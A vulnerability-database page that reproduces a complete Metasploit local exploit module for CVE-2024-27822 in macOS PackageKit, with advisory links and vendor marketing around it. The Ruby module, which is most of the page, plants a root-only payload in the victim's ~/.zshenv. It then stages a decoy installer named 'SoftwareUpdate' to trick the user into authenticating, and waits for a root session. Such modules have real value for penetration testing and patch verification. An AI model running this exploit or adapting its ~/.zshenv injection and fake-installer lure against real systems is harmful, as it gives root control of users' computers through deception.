Lucene search
K

📄 MacOS PackageKit ZSH Environment Privilege Escalation

🗓️ 06 Jul 2026 00:00:00Reported by Mykola Grymalyuk, h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 17 Views

Exploits CVE-2024-27822 in macOS PackageKit to gain root via ZSH and ~/.zshenv.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-27822
4 Jun 202404:17
circl
CNNVD
Apple macOS Sonoma 安全漏洞
13 May 202400:00
cnnvd
CVE
CVE-2024-27822
13 May 202423:00
cve
Cvelist
CVE-2024-27822
13 May 202423:00
cvelist
EUVD
EUVD-2024-25015
3 Oct 202520:07
euvd
Tenable Nessus
macOS 14.x < 14.5 Multiple Vulnerabilities (120903)
16 Jan 202500:00
nessus
Tenable Nessus
macOS 14.x < 14.5 Multiple Vulnerabilities (HT214106)
13 May 202400:00
nessus
Metasploit
macOS PackageKit ZSH Environment Privilege Escalation
6 Jul 202619:05
metasploit
NCSC
Vulnerabilities fixed in Apple macOS
15 May 202411:18
ncsc
NVD
CVE-2024-27822
14 May 202415:13
nvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ManualRanking # user interaction required
    
      include Msf::Post::File
      include Msf::Post::OSX::Priv
      include Msf::Post::OSX::System
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation',
            'Description' => %q{
              This module exploits CVE-2024-27822, a vulnerability in macOS
              PackageKit.framework where PKG installer scripts using a ZSH shebang
              (#!/bin/zsh) are executed as root while inheriting the installing user's
              environment. This causes ZSH to load the user's ~/.zshenv with root
              privileges before the installer script body runs.
    
              The module injects a payload into ~/.zshenv that only fires when EUID is 0,
              uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose
              install script uses a #!/bin/zsh shebang, and opens it with Installer.app.
              When the user approves the installation dialog and authenticates, PackageKit
              runs the install script as root. ZSH sources ~/.zshenv before the script body
              executes, so the payload fires with root privileges. The original ~/.zshenv
              content is restored immediately after the payload runs.
    
              Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier,
              and all macOS 11 and older releases.
              Fixed in: macOS 14.5, 13.6.7, 12.7.5.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mykola Grymalyuk', # Discovery and research
              'h00die' # Metasploit module
            ],
            'Platform' => ['osx', 'unix'],
            'Arch' => ARCH_CMD,
            'SessionTypes' => ['shell', 'meterpreter'],
            'Targets' => [['macOS', {}]],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Passive' => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'References' => [
              ['CVE', '2024-27822'],
              ['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'],
              ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
              ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
            ],
            'DefaultOptions' => {
              'WfsDelay' => 1_800, # 30min
              'PrependFork' => true
            },
            'DisclosureDate' => '2024-06-03',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
    
        register_options([
          OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']),
          OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate'])
        ])
      end
    
      def check
        unless command_exists?('zsh')
          return CheckCode::Safe("zsh isn't available on this system")
        end
    
        version = Rex::Version.new(get_system_version)
    
        case version
        when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
        when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
        when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)")
        when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
        when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)")
        when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
        else
          CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
        end
      end
    
      def exploit
        fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
        fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir'])
    
        home_dir = create_process('printenv', args: ['HOME']).strip
        fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
        zshenv_path = "#{home_dir}/.zshenv"
    
        # Preserve original .zshenv so we can restore it after root execution
        original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
        original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '')
    
        # The injection block only runs when EUID==0 (PackageKit root context).
        # It restores .zshenv first, then runs the payload.
        injection = <<~ZSHENV
          if [ "$EUID" = "0" ]; then
            echo '#{original_b64}' | base64 -d > '#{zshenv_path}'
            #{payload.encoded}
          fi
        ZSHENV
    
        print_status("Injecting payload into #{zshenv_path}")
        write_file(zshenv_path, injection + original_zshenv)
        # Fallback cleanup if the PKG is never installed
        register_file_for_cleanup(zshenv_path)
    
        pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_')
        pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg"
    
        print_status("Uploading PKG: #{pkg_path}")
        write_file(pkg_path, load_template_pkg)
        fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path)
        register_file_for_cleanup(pkg_path)
        print_good("PKG uploaded: #{pkg_path}")
    
        print_warning('Opening Installer.app - the user must click Install and authenticate.')
        create_process('open', args: [pkg_path])
    
        # taken from multi-handler
        stime = Time.now.to_f
        timeout = datastore['WfsDelay'].to_i
        loop do
          break if session_created?
          break if timeout > 0 && (stime + timeout < Time.now.to_f)
    
          Rex::ThreadSafe.sleep(1)
        end
      end
    
      private
    
      def load_template_pkg
        template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg')
        unless File.exist?(template_path)
          fail_with(Failure::BadConfig,
                    "Template PKG not found at #{template_path}. " \
                    'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.')
        end
        File.binread(template_path)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.4 - 7.8
EPSS0.00914
SSVC
17